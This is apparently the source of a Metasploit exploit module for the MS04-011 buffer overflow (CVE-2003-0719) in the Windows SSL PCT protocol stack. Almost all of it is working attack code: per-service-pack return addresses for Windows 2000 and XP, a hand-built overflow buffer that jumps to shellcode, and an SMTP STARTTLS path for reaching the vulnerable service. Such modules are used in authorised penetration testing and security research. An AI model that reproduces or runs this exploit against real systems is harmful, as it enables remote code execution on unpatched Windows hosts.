Microsoft Private Communications Transport Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft Private Communications Transport Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the Microsoft  
Windows SSL PCT protocol stack. This code is based on Johnny  
Cyberpunk's THC release and has been tested against Windows  
2000 and Windows XP. To use this module, specify the remote  
port of any SSL service, or the port and protocol of an  
application that uses SSL. The only application protocol  
supported at this time is SMTP. You only have one chance to  
select the correct target, if you are attacking IIS, you may  
want to try one of the other exploits first (WebDAV). If  
WebDAV does not work, this more than likely means that this  
is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS  
5.1). Using the wrong target may not result in an immediate  
crash of the remote system.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0719'],  
[ 'OSVDB', '5250'],  
[ 'BID', '10116'],  
[ 'MSB', 'MS04-011'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1800,  
'BadChars' => "",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[   
'Windows 2000 SP4',  
{  
'Platform' => 'win',  
'Ret' => 0x67419ce8, # jmp [esp + 0x6c]  
},  
],  
[   
'Windows 2000 SP3',  
{  
'Platform' => 'win',  
'Ret' => 0x67419e1d, # jmp [esp + 0x6c]  
},  
],   
[   
'Windows 2000 SP2',  
{  
'Platform' => 'win',  
'Ret' => 0x6741a426, # jmp [esp + 0x6c]  
},  
],  
[   
'Windows 2000 SP1',  
{  
'Platform' => 'win',  
'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]  
},  
],  
[   
'Windows 2000 SP0',  
{  
'Platform' => 'win',  
'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]  
},  
],  
[   
'Windows XP SP0',  
{  
'Platform' => 'win',  
'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]  
},  
],  
[   
'Windows XP SP1',  
{  
'Platform' => 'win',  
'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]  
},  
],   
],  
'DisclosureDate' => 'Apr 13 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])  
], self.class)  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")  
  
# This is a heap ptr to the ssl request  
# ... and just happens to not die ...  
# Thanks to CORE and Halvar  
#  
# 80620101 => and byte ptr [esi+1], 0x2  
# bd00010001 => mov ebp, 0x1000100  
# 0016 => add [esi], dl  
# 8f8201000000 => pop [esi+1]  
# eb0f => jmp short 11 to shellcode  
  
buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+  
"\xeb\x0f" + 'XXXXXXXXXXX' +  
[target.ret ^ 0xffffffff].pack('V')+  
payload.encoded  
  
# Connect to a SMTP service, call STARTTLS  
if (datastore['PROTO'] == 'smtp')  
greeting = sock.get_once  
  
sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")  
resp = sock.get_once  
  
sock.put("STARTTLS\r\n")  
resp = sock.get_once  
  
if (resp and resp !~ /^220/)  
print_status("Warning: this server may not support STARTTLS")  
end  
  
end  
  
sock.put(buf)  
resp = sock.get_once  
  
if (resp == "\x00\x00\x01")  
print_status("The response indicates that the PCT protocol is disabled")  
end  
  
handler  
disconnect  
end  
  
end  
`